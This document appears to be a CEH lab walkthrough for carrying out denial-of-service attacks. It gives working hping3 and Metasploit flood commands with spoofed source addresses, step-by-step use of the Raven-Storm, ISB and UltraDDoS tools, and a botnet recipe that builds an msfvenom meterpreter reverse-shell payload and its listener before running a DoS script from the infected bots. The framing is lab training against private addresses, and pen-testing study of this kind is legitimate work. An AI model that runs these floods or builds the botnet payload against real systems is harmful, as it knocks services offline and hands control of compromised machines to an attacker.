1. Perform DOS and DDOS with various techniques

As an expert ethical hacker or pen tester, you must have the required knowledge to perform DoS and DDoS attacks to be able to test systems in the target network.

Perform, Detect and Stop DOS attacks - CEH Ilabs Walkthrough

1. Perform DOS (syn flooding) using Metasploit

use auxillary/dos/tcp/synflood
set RHOST 192.168.18.110
set RPORT 21
set SHOST 192.168.18.1    \\Spoofed IP
exploit

2. Perform DOS attack using HPing3

hping3 -S 192.168.18.110 -a 192.168.18.1 -p 22 --flood

-S sets the syn flag

-a spoof the address

--flood sends a large no of packets

Ping of death

hping3 -d 65538 -S -p 22 --flood 192.168.18.110 

-d sets the data size

UDP protocol flooding on NetBios (139)

hping3 -2 -p 139 --flood 192.168.18.110  \\-2 specifies the UDP mode

3. Perform a DOS attack using Rven-Storm

GitHub - Tmpertor/Raven-Storm: Raven-Storm is a powerful DDoS toolkit for penetration tests, including attacks for several protocols written in python. Takedown many connections using several exotic and classic protocols.GitHub

sudo rst
l4
ip 192.168.18.110
port 8080
threads 20000
run

4. Perform DDOS using HOIC

5. Perform DDOS using LOIC

6. Perform a DDoS Attack using ISB and UltraDDOS-v2

ISBSourceForge

UltraDDOS-v2SourceForge

1. One the ISB tool, ISB window appears, using this tool we can perform various attacks such as HTTP Flood, UDP Flood, TCP Flood, TCP Port Scan, ICMP Flood, and Slowloris. Additionally, we can gather Target Info using the WHOIS, NS, TRACEROUTE, BROWSER, PING options present in the tool.

2. Here, we will perform TCP Flood attack on the target Windows Server 2019 machine. To do so, enter the IP address of the Windows Server 2019 in the URL: field (here, 10.10.1.19), port number (here, 80) in the Port: field and click on Set Target.

3. The IP address of Windows Server 2019 along with the port number appears in the Set: field.

   

   isb1.jpg
4. Now, under Attacks navigate to TCP Flood tab and type 10 in the Interval field, 256 in the Buffer field and 1000 in the Threads field.

   

   isb2.jpg
5. Leave the ISB window running and click Windows Server 2022 to switch to the Window Server 2022 machine.

Ultra DDOS tool

1. Run ultraddos.exe file.

   If an Open File - Security Warning appears, click Run.

   

   Screenshot
2. A Command Prompt window appears, in the Ultra DDOS v2 window, click OK.

3. In the Ultra DDOS v2 window, click on DDOS Attack button.

   

   Screenshot
4. In the Please enter your target. This is the website or IP address that you want to attack. field, type 10.10.1.19 (IP address of Windows Server 2019 machine) and click OK.

   

   Screenshot
5. In the Please enter a port. 80 is most commonly used, but you can use any other valid port. field, enter 80 and click OK.

   

   Screenshot
6. In the Please enter the number of packets you would like to send. More is better, but too many will crash your computer. field, type 1000000 and click on OK.

7. In the Please enter the number of threads you would like to send. This can be the same number as the packets. field, type 1000000 and click on OK.

   

   Screenshot
8. In the The attack will start once you press OK. It will keep going until all requested packets are sent. pop-up window, click OK.

   

   Screenshot
9. As soon as you click on OK the tool starts DoS attack on the Windows Server 2019 machine.

   

   Screenshot
10. Click Windows 11 to switch to the Windows 11 machine, and in the ISB window click on Start Attack button.

    

    Screenshot

You can open the resource monitor to view that resources are being exhausted.

7. Perform a DDoS Attack using Botnet

Create a metasploit exploit.

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=6969 -f exe > exploit1.exe

Similarly make exploits fir each of your bot.

Now, you can directly run multihandle, running the following command.

msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 10.10.1.13; set lport 6969; run"

Now, you can upload scripts to exploited targets.

GitHub - whxitte/eagle-dos: light weight dos attack tool to attack to a single port to any network.GitHub

Now, you can run the script from all your bots. Run the DDoS file using command python eagle-dos.py on windows shell terminal. It will ask for Target's IP, type 10.10.1.9 and hit enter.

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